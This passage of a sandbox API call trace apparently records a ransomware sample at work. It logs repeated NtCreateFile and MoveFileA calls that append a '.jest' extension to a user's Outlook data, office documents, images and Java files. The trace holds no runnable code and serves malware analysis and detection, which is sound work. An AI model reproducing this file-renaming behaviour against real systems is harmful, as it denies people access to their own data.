RootDirectory=0x2e4, ObjectName="大", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.281] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="娂", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.283] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ǵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.283] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ၽ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.284] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst.jest")) returned 1 [0171.286] VarBstrFromR4 (in: fltIn=0x47945a6d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.85") returned 0x0 [0171.287] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\96CwWKM_iig8aaVKRRsywfGx7hvugU0JbzDzF_CzuE7h7 rOiH0Cm5wHT8FHGK5zcg8lTEs5eg1paEevNILI2IQeHL8oszACEPMIu.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\96cwwkm_iig8aavkrrsywfgx7hvugu0jbzdzf_czue7h7 roih0cm5wht8fhgk5zcg8ltes5eg1paeevnili2iqehl8oszacepmiu.tmp")) returned 0 [0171.288] GetLastError () returned 0x2 [0171.289] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ǵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.290] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ǵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.290] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ǵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.300] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ǘ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.303] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tLqR1.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tlqr1.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tLqR1.odt.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tlqr1.odt.jest")) returned 1 [0171.307] VarBstrFromR4 (in: fltIn=0x47945a6f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.87") returned 0x0 [0171.308] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tLqR1.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tlqr1.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1P20GCJWlHDWQO0AbwMHAjs72UJcBLncfozJVR4PzUYaGECLlGOxNx_c6 4-RJhyLwh2tlUf9BizyuDHDTH7-sh_SysNcX5HLCpBS.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1p20gcjwlhdwqo0abwmhajs72ujcblncfozjvr4pzuyagecllgoxnx_c6 4-rjhylwh2tluf9bizyudhdth7-sh_sysncx5hlcpbs.tmp")) returned 0 [0171.308] GetLastError () returned 0x2 [0171.308] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ႊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.310] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.xml.jest")) returned 1 [0171.312] VarBstrFromR4 (in: fltIn=0x47945a71, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.88") returned 0x0 [0171.313] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\im7exxrzGs-_TOIWiOLo2j0rhOm8WDp- DMhlN6rQ p0UNL6yHsdEgDOm9TBh2wOiNhwwD_oeULO5s0xjb5fEitQQpM1m3Ul6h.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\im7exxrzgs-_toiwiolo2j0rhom8wdp- dmhln6rq p0unl6yhsdegdom9tbh2woinhwwd_oeulo5s0xjb5feitqqpm1m3ul6h.tmp")) returned 0 [0171.314] GetLastError () returned 0x2 [0171.315] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ࣷ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.317] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ࣷ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.318] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ࡿ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.318] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ǘ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.320] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xFauTWg2F2e2Jx-LQF.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xfautwg2f2e2jx-lqf.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xFauTWg2F2e2Jx-LQF.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xfautwg2f2e2jx-lqf.png.jest")) returned 1 [0171.323] VarBstrFromR4 (in: fltIn=0x47945a71, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.88") returned 0x0 [0171.324] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xFauTWg2F2e2Jx-LQF.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xfautwg2f2e2jx-lqf.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7H2iYsiIKbNCWQy7kj9k-jJEY_tcx5Pi9_upilbW4T_Kr2yE FqxzoBx56EmzYgdXdJ8I5j8J8SzVV6hjJL0ZmwBlok1jUi8mB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7h2iysiikbncwqy7kj9k-jjey_tcx5pi9_upilbw4t_kr2ye fqxzobx56emzygdxdj8i5j8j8szvv6hjjl0zmwblok1jui8mb.tmp")) returned 0 [0171.324] GetLastError () returned 0x2 [0171.324] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ǘ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.325] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1kkNaE4CPvYlfKtHzfah.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1kknae4cpvylfkthzfah.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1kkNaE4CPvYlfKtHzfah.pptx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1kknae4cpvylfkthzfah.pptx.jest")) returned 1 [0171.329] VarBstrFromR4 (in: fltIn=0x47945a73, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.9") returned 0x0 [0171.330] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1kkNaE4CPvYlfKtHzfah.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1kknae4cpvylfkthzfah.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nrT3U6KLr6n3GOjYkTQZXtLeLuAWVHLMVv9JVl8 U87 PXd9vh7w0SOrESZeGz5UH11ik6twbpM443cw-f3n6ibwiJb ll0idT6UZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nrt3u6klr6n3gojyktqzxtleluawvhlmvv9jvl8 u87 pxd9vh7w0soreszegz5uh11ik6twbpm443cw-f3n6ibwijb ll0idt6uz.tmp")) returned 0 [0171.330] GetLastError () returned 0x2 [0171.337] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᅿ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.342] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\ffjcext.zip"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\ffjcext.zip.jest" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\ffjcext.zip.jest")) returned 1 [0171.365] VarBstrFromR4 (in: fltIn=0x47945a77, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.93") returned 0x0 [0171.366] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\ffjcext.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uYgPow8FkiZeplSL7ro_2e8MSJyrJ00sY2pN8nNIIQfmimx5eHWNPcjUw-atw-S-KzdSf8gSV6rvOb3TRJ6v3F3SlH-VUCJdt6WYy.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uygpow8fkizeplsl7ro_2e8msjyrj00sy2pn8nniiqfmimx5ehwnpcjuw-atw-s-kzdsf8gsv6rvob3trj6v3f3slh-vucjdt6wyy.tmp")) returned 0 [0171.366] GetLastError () returned 0x2 [0171.366] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᆁ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.367] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\jqs.conf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\jqs\\jqs.conf"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\jqs.conf.jest" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\jqs\\jqs.conf.jest")) returned 1 [0171.368] VarBstrFromR4 (in: fltIn=0x47945a77, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.93") returned 0x0 [0171.369] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\jqs.conf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\jqs\\jqs.conf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\38LuYsDi9gf-at 8Yv1EUUE PKc2Q72b5vIY_fZLPl7m5SfTZGj7J84Wjljy65zwDUTUQYZwuHOcpdZuZMwcuA9XcDeuUlu_ ltZC.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\38luysdi9gf-at 8yv1euue pkc2q72b5viy_fzlpl7m5sftzgj7j84wjljy65zwdutuqyzwuhocpdzuzmwcua9xcdeuulu_ ltzc.tmp")) returned 0 [0171.369] GetLastError () returned 0x2 [0171.370] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ǘ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.370] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BiU97YASDz_miGgDzlh.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\biu97yasdz_miggdzlh.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BiU97YASDz_miGgDzlh.doc.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\biu97yasdz_miggdzlh.doc.jest")) returned 1 [0171.372] VarBstrFromR4 (in: fltIn=0x47945a77, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.93") returned 0x0 [0171.373] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BiU97YASDz_miGgDzlh.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\biu97yasdz_miggdzlh.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3nOIy5___zwzucL9ddGCHjxY_zVHzNISHEiqbgfqCkM9QuGd2bk_2T6P C3ma1pjWY0Umt20lVAtRMCXwSquoLwvc_s7CvBrD2kq6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3noiy5___zwzucl9ddgchjxy_zvhznisheiqbgfqckm9qugd2bk_2t6p c3ma1pjwy0umt20lvatrmcxwsquolwvc_s7cvbrd2kq6.tmp")) returned 0 [0171.373] GetLastError () returned 0x2 [0171.374] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᆓ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.374] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Xgh97aVqtUgGD\\jIDYUEIepZAFSVN9KWax.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xgh97avqtuggd\\jidyueiepzafsvn9kwax.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Xgh97aVqtUgGD\\jIDYUEIepZAFSVN9KWax.rtf.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xgh97avqtuggd\\jidyueiepzafsvn9kwax.rtf.jest")) returned 1 [0171.375] VarBstrFromR4 (in: fltIn=0x47945a79, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.95") returned 0x0 [0171.376] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Xgh97aVqtUgGD\\jIDYUEIepZAFSVN9KWax.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xgh97avqtuggd\\jidyueiepzafsvn9kwax.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CjQdUf3njSQHqL6Kz0 9UvoGNE1Fm65xAYKzjhUzozBhYe5e2uwweCYlkiQ9y0cysQV0pldJ87GYRgZ5BLSrFsjv1CfQ-Ycz XtY.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cjqduf3njsqhql6kz0 9uvogne1fm65xaykzjhuzozbhye5e2uwwecylkiq9y0cysqv0pldj87gyrgz5blsrfsjv1cfq-ycz xty.tmp")) returned 0 [0171.376] GetLastError () returned 0x2 [0171.377] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᆓ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.377] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Xgh97aVqtUgGD\\Q58g956rc_VLW8sU05.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xgh97avqtuggd\\q58g956rc_vlw8su05.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Xgh97aVqtUgGD\\Q58g956rc_VLW8sU05.xls.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xgh97avqtuggd\\q58g956rc_vlw8su05.xls.jest")) returned 1 [0171.378] VarBstrFromR4 (in: fltIn=0x47945a79, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.95") returned 0x0 [0171.379] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Xgh97aVqtUgGD\\Q58g956rc_VLW8sU05.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xgh97avqtuggd\\q58g956rc_vlw8su05.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\s7oyPzDSkk6CFebIBoAARt3 VS2_AK4mHyrTCiqXP7L9iMVQxH 8huOy3sqPpyKnv8Dplsy5JOWkW pXc-3o C4-dbZcw9Y TBd3O.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\s7oypzdskk6cfebiboaart3 vs2_ak4mhyrtciqxp7l9imvqxh 8huoy3sqppyknv8dplsy5jowkw pxc-3o c4-dbzcw9y tbd3o.tmp")) returned 0 [0171.380] GetLastError () returned 0x2 [0171.380] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ࣷ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.380] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᆓ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.381] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Xgh97aVqtUgGD\\0_WtBuv.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xgh97avqtuggd\\0_wtbuv.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Xgh97aVqtUgGD\\0_WtBuv.docx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xgh97avqtuggd\\0_wtbuv.docx.jest")) returned 1 [0171.382] VarBstrFromR4 (in: fltIn=0x47945a79, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.95") returned 0x0 [0171.383] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Xgh97aVqtUgGD\\0_WtBuv.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xgh97avqtuggd\\0_wtbuv.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jXGPDL3JQF9t5dt9D4Jh Vxj6qjd7KQelzIl8J0fARVmMKaQwqpDp0cY8dgGkmdOkCxez8EGnFnMT8gN43sUUZFTmyHYebWKe jbe.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jxgpdl3jqf9t5dt9d4jh vxj6qjd7kqelzil8j0farvmmkaqwqpdp0cy8dggkmdokcxez8egnfnmt8gn43suuzftmyhyebwke jbe.tmp")) returned 0 [0171.383] GetLastError () returned 0x2 [0171.383] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᆓ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.384] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS 